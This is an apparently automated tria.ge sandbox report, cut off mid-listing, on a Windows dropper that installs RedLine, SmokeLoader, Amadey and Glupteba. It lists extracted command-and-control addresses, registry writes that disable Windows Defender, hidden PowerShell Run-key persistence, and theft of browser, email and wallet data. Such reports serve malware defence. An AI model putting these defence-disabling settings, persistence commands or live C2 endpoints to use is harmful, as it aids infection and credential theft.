Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
138s -
max time network
174s -
platform
windows10-2004_x64 -
resource
win10v2004-20231020-en -
resource tags
arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system -
submitted
22/10/2023, 10:43
Static task
static1
Behavioral task
behavioral1
Sample
3e8c4bcc300522e0768a1959f4638e18b343d845db826d75cc626150565c450c.exe
Resource
win10v2004-20231020-en
General
-
Target
3e8c4bcc300522e0768a1959f4638e18b343d845db826d75cc626150565c450c.exe
-
Size
1.4MB
-
MD5
b7c798a2c86d3b9347cd13c21c5485c7
-
SHA1
2e667b49a794637eec28617e72bf4f50bf22fbd1
-
SHA256
3e8c4bcc300522e0768a1959f4638e18b343d845db826d75cc626150565c450c
-
SHA512
9aa44868e230e7a92ef08caea228bcfc9cbd75ed67cc06362a9022823af396480700a7a69173f1ec19c8790f746ea0b66bcef84520e9c933a544f703a2889ffe
-
SSDEEP
24576:VyhHlnmbI4zFmegmq1K3AC6cgTju2NgQIzUuYbRtodBwTGnTGIdUbXmC:whHNmk4zAegmAIF6X+cg9zrYbRtodBps
Malware Config
Extracted
smokeloader
2022
http://77.91.68.29/fks/
Extracted
redline
supera
77.91.124.82:19071
Extracted
amadey
3.89
http://77.91.124.1/theme/index.php
-
install_dir
fefffe8cea
-
install_file
explothe.exe
-
strings_key
36a96139c1118a354edf72b1080d4b2f
Extracted
redline
kolyan
77.91.124.82:19071
Extracted
redline
YT&TEAM CLOUD
185.216.70.238:37515
Extracted
redline
5141679758_99
https://pastebin.com/raw/8baCJyMF
Extracted
smokeloader
up3
Extracted
smokeloader
2020
http://host-file-host6.com/
http://host-host-file8.com/
Signatures
-
DcRat 4 IoCs
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
description ioc pid Process 5572 schtasks.exe 5992 schtasks.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" 3e8c4bcc300522e0768a1959f4638e18b343d845db826d75cc626150565c450c.exe 4932 schtasks.exe -
Glupteba payload 8 IoCs
resource yara_rule behavioral1/memory/5644-711-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral1/memory/5644-732-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral1/memory/5644-754-0x0000000002E80000-0x000000000376B000-memory.dmp family_glupteba behavioral1/memory/5644-768-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral1/memory/5644-777-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral1/memory/5644-832-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral1/memory/5644-866-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral1/memory/6048-932-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" 1Nj18XM1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" 1Nj18XM1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" 7425.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" 7425.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" 7425.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection 1Nj18XM1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" 1Nj18XM1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" 1Nj18XM1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" 1Nj18XM1.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection 7425.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" 7425.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" 7425.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 7 IoCs
resource yara_rule behavioral1/memory/4756-52-0x0000000000400000-0x000000000043E000-memory.dmp family_redline behavioral1/memory/5884-447-0x00000000005B0000-0x00000000005EE000-memory.dmp family_redline behavioral1/memory/5244-477-0x00000000006E0000-0x000000000073A000-memory.dmp family_redline behavioral1/memory/5512-491-0x0000000000E20000-0x0000000000E5E000-memory.dmp family_redline behavioral1/memory/5736-570-0x00000000005F0000-0x000000000064A000-memory.dmp family_redline behavioral1/memory/5328-641-0x0000000000FA0000-0x0000000000FFA000-memory.dmp family_redline behavioral1/memory/5244-653-0x0000000000400000-0x000000000047E000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 5864 created 3264 5864 latestX.exe 50 PID 5864 created 3264 5864 latestX.exe 50 PID 5864 created 3264 5864 latestX.exe 50 PID 5864 created 3264 5864 latestX.exe 50 PID 5864 created 3264 5864 latestX.exe 50 -
Blocklisted process makes network request 6 IoCs
flow pid Process 201 5300 rundll32.exe 202 5300 rundll32.exe 206 5300 rundll32.exe 207 5300 rundll32.exe 208 5300 rundll32.exe 209 5300 rundll32.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts latestX.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
pid Process 5992 netsh.exe -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 6 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation 5Rr3pA2.exe Key value queried \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation 6Ss4vz7.exe Key value queried \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation explothe.exe Key value queried \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation 9AFA.exe Key value queried \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation kos2.exe Key value queried \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation K.exe -
Executes dropped EXE 46 IoCs
pid Process 980 Dt3Yk95.exe 1716 sD9Bl25.exe 4620 Uh2me53.exe 4724 Hp6lQ52.exe 856 1Nj18XM1.exe 4560 2Cf5775.exe 2776 3QV70qJ.exe 1188 4NJ511dv.exe 3668 5Rr3pA2.exe 4224 explothe.exe 4580 6Ss4vz7.exe 4024 57A1.exe 1440 5C74.exe 4692 mi3uv8yY.exe 2116 yS1No7LW.exe 4928 rh4ts4Xf.exe 1760 is1Wu6qR.exe 2608 1rK50Ug4.exe 1812 6B5A.exe 2680 7425.exe 5132 7772.exe 5244 7BC9.exe 5884 2UW262Uf.exe 5148 9AFA.exe 4800 9D7C.exe 5364 9E57.exe 5416 A04C.exe 5476 toolspub2.exe 5512 A241.exe 5644 31839b57a4f11171d6abc8bbc4451ee4.exe 5768 kos2.exe 5736 A678.exe 5864 latestX.exe 5352 set16.exe 1860 K.exe 5324 is-BS14J.tmp 5836 B8C9.exe 5336 toolspub2.exe 5928 explothe.exe 5328 C731.exe 1240 MyBurn.exe 4668 MyBurn.exe 3340 updater.exe 6048 31839b57a4f11171d6abc8bbc4451ee4.exe 5880 explothe.exe 1376 csrss.exe -
Loads dropped DLL 7 IoCs
pid Process 5244 7BC9.exe 5244 7BC9.exe 5300 rundll32.exe 6136 rundll32.exe 5324 is-BS14J.tmp 5324 is-BS14J.tmp 5324 is-BS14J.tmp -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral1/files/0x0006000000022e33-69.dat upx behavioral1/files/0x0006000000022e33-70.dat upx behavioral1/memory/4580-71-0x0000000000400000-0x000000000041E000-memory.dmp upx behavioral1/memory/4580-88-0x0000000000400000-0x000000000041E000-memory.dmp upx behavioral1/files/0x0006000000022e5b-200.dat upx -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" 1Nj18XM1.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features 7425.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" 7425.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features 1Nj18XM1.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 12 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" is1Wu6qR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" sD9Bl25.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" Hp6lQ52.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" yS1No7LW.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" rh4ts4Xf.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" mi3uv8yY.exe Set value (str) \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\9E57.exe'\"" 9E57.exe Set value (str) \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" 3e8c4bcc300522e0768a1959f4638e18b343d845db826d75cc626150565c450c.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" Dt3Yk95.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" Uh2me53.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" 57A1.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 2776 set thread context of 4352 2776 3QV70qJ.exe 102 PID 1188 set thread context of 4756 1188 4NJ511dv.exe 105 PID 2608 set thread context of 5328 2608 1rK50Ug4.exe 164 PID 5476 set thread context of 5336 5476 toolspub2.exe 195 -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN 31839b57a4f11171d6abc8bbc4451ee4.exe -
Drops file in Program Files directory 13 IoCs
description ioc Process File created C:\Program Files (x86)\MyBurn\is-2E6CI.tmp is-BS14J.tmp File created C:\Program Files (x86)\MyBurn\is-8HS2N.tmp is-BS14J.tmp File created C:\Program Files (x86)\MyBurn\is-30MP3.tmp is-BS14J.tmp File created C:\Program Files (x86)\MyBurn\unins000.dat is-BS14J.tmp File opened for modification C:\Program Files (x86)\MyBurn\MyBurn.exe is-BS14J.tmp File created C:\Program Files (x86)\MyBurn\Sounds\is-2IABI.tmp is-BS14J.tmp File created C:\Program Files\Google\Chrome\updater.exe latestX.exe File created C:\Program Files (x86)\MyBurn\is-N3PV4.tmp is-BS14J.tmp File created C:\Program Files (x86)\MyBurn\is-I0P6I.tmp is-BS14J.tmp File created C:\Program Files (x86)\MyBurn\is-SCH9V.tmp is-BS14J.tmp File opened for modification C:\Program Files (x86)\MyBurn\unins000.dat is-BS14J.tmp File created C:\Program Files (x86)\MyBurn\is-SVQS1.tmp is-BS14J.tmp File created C:\Program Files (x86)\MyBurn\Sounds\is-LMGDH.tmp is-BS14J.tmp -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\rss\csrss.exe 31839b57a4f11171d6abc8bbc4451ee4.exe File opened for modification C:\Windows\rss 31839b57a4f11171d6abc8bbc4451ee4.exe -
Launches sc.exe 11 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2576 sc.exe 5708 sc.exe 3220 sc.exe 3012 sc.exe 5168 sc.exe 5620 sc.exe 5152 sc.exe 4620 sc.exe 3796 sc.exe 4752 sc.exe 5428 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 2 IoCs
pid pid_target Process procid_target 5124 5328 WerFault.exe 164 2200 5244 WerFault.exe 163 -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI AppLaunch.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI AppLaunch.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI AppLaunch.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4932 schtasks.exe 5572 schtasks.exe 5992 schtasks.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan 